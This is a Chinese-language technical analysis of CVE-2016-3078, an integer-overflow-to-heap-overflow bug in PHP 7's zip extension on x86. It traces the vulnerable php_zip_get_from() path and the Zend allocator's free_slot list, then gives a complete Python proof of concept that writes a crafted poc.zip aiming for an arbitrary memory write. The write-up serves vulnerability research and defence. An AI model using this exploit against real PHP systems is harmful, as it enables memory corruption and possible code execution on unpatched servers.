这个漏洞的影响范围是PHP 7.0.6版本以前的所有PHP 7.x 版本。PHP的源码可以在这里下到，https://github.com/php/php-src/
PHP源码架构
PHP源码里的核心库是在Zend目录下。负责php脚本的解析，执行等核心功能。
TSRM目录下是关于PHP多线程的库。
ext目录下是实现各种PHP扩展功能的代码。如：ftp，ssl，xml等，也包括这次主要要分析的zip解析的功能。
漏洞详情
关于CVE-2016-3078，在社区上有人发过：http://seclists.org/bugtraq/2016/Apr/159
主要问题是，当PHP在x86的机器上编译的时候，其中的zend_ulong类型会被编译成不同的长度。
以上代码来自Zend/zend_long.h。可以看到，如果是在x64环境下编译的话，zend_ulong是64位长度的；如果是x86下的话，就是32位长度的。然后，在php_zip_get_from()函数里，会把一个64位的长度赋值给一个zend_ulong类型的变量，形成整型溢出，然后是堆溢出，通过合理构造输入可以达到任意地址写。
执行流程
一个可以触发漏洞的简单的php脚本如下：
其中，open()初始化了一个_ze_zip_object结构体：
其中的za指向了一个zip结构体，这个结构体存放的是与被解析的zip文件的内容相关的东西。
其中的zip_source_t *src指向的结构体与zip文件里的数据相关的东西。
其中的cb是一个union结构体，里面放的是在解压zip压缩包里的文件时调用的回调函数。在open()函数里，这个回调函数会被初始化成read_data()
再转回php脚本。open()完成之后，然后调用getFromIndex()或者getFromName()读取zip压缩包里的具体文件数据。在php源码里，这两个函数的都直接调用了php_zip_get_from()函数，而这个就是存在漏洞的函数。
在php_zip_get_from()函数里，会先从Executor Globals里把传入的参数读出来。然后会解析zip文件的dirEntry对应的文件目录，然后更新一个zip_stat结构，存放结果。
其中size是uint64的，对应zip Entry里的UncompressedSize位。之后会检查从php脚本里传入的参数len是不是小于1，如果是就会把这个size赋值到len。注意，这里len的类型是zend_long。
然后，调用zip_fopen_index()来解析zip结构，然后更新zip结构体的数据。在解析过程中，这个函数会对zip文件的压缩方式做区分。分别是encrypted，compressed，和store。
encrypted是加密，需要password；compressed是压缩；store是不压缩，直接存放原始文件数据。然后会在原来的zip结构体之上再重新封装一层zip结构体，并把新的结构体的回调函数注册成相应的解密、解压、crc检查的函数。并返回这个新的结构体的指针。
接下来，回到php_zip_get_from()函数。zend_string_alloc()函数是触发整型溢出的点。然后下面的zip_fread()函数是堆溢出的点。
在zend_string()里会先对len做一个边界对齐，会在原始len的大小上加上0x14然后再mask 0xFFFFFFFC。攻击中可以把UncompressedSize设成0xFFFFFFFE，然后会分配一个0x10大小的堆。
这里面，调用了pemalloc分配堆块。它是php内部实现的一个Memory Allocator。源码在zend_alloc.c里，具体就不展开了。它里面对小的堆块的分配做了优化，所有小堆块都连续分布在一个或多个连续的内存页上，每个空闲的小堆块都用一个单向链表的形式组织起来。第一个空闲的小堆块的地址会放在全局的chunk head的free_slot里。
当要分配小堆块的内存的时候，会先从free_slot里拿出那个地址，然后根据链表，把下一个free的block地址放到free_slot里。代码如下：
所以，这就给堆溢出带来了机会。可以先溢出改写下一个free block的头，然后再分配一次，把构造的free block头写入free_slot，然后再分配一次，构造出任意地址写。
实际的堆溢出发生在后面的zip_fread()函数里。他会递归地调用之前提到的zip结构体里注册的回掉函数。于是，就会先调用之前提到的decrypt/inflate/crc check，然后再调用在open()的时候注册的read_data()函数。这里基本上可以看作是memcpy。
POC:
import struct
import binascii
def file_head( name, data, uncomplen):
r = '\x14\x00\x00\x00'
r += '\x00\x00' # frCompression = FL_STORE
r += '\xBB\x63'
r += '\xAD\x48'
r += struct.pack("<I", binascii.crc32(data)&0xffffffff)
r += struct.pack("<I", len(data))
r += struct.pack("<I", uncomplen)
r += struct.pack("<H", len(name))
r += '\x00\x00'
return r
def file_rec( name, data, uncomplen):
r = '\x50\x4B\x03\x04'
r += file_head( name, data, uncomplen)
r += name
r += data
return r
def dir_entry( offset, name, data, uncomplen):
r = '\x50\x4B\x01\x02'
r += '\x1F\x00'
r += file_head( name, data, uncomplen)
r += '\x00\x00'
r += '\x00\x00'
r += '\x00\x00'
r += '\x00\x00\x00\x00'
r += struct.pack("<I", offset)
r += name
return r
def end_loc( num, size, offset):
r = '\x50\x4B\x05\x06'
r += '\x00\x00'
r += '\x00\x00'
r += struct.pack("<H", num) * 2
r += struct.pack("<I", size)
r += struct.pack("<I", offset)
r += '\x00\x00'
return r
# Create 3 files
## SIGV will generate when trying to
## heap->free_slot[bin_num] = exit_plt->next_free_slot;
exit_plt = 0x80910030
payload = struct.pack('<I', exit_plt) + 'B' * 0xC
f1 = file_rec( "XXXX", payload, 0xfffffffe)
f2 = file_rec( "XXXX", 'C' * 16, 0xfffffffe)
f3 = file_rec( "XXXX", struct.pack('<I', 0xdeadbeef) * 4, 0xfffffffe)
# Once more to overcome GC
f4 = f3
d1 = dir_entry( 0, "XXXX", payload, 0xfffffffe)
d2 = dir_entry( len(f1), "XXXX", 'C'*16, 0xfffffffe)
d3 = dir_entry( len(f1+f2), "XXXX", struct.pack('<I', 0xdeadbeef) * 4, 0xfffffffe)
d4 = dir_entry( len(f1+f2+f3), "XXXX", struct.pack('<I', 0xdeadbeef) * 4, 0xfffffffe)
end = end_loc( 4, len(d1+d2+d3+d4), len(f1+f2+f3+f4))
with open('poc.zip', 'wb') as fd:
fd.write(f1+f2+f3+f4+d1+d2+d3+d4+end)
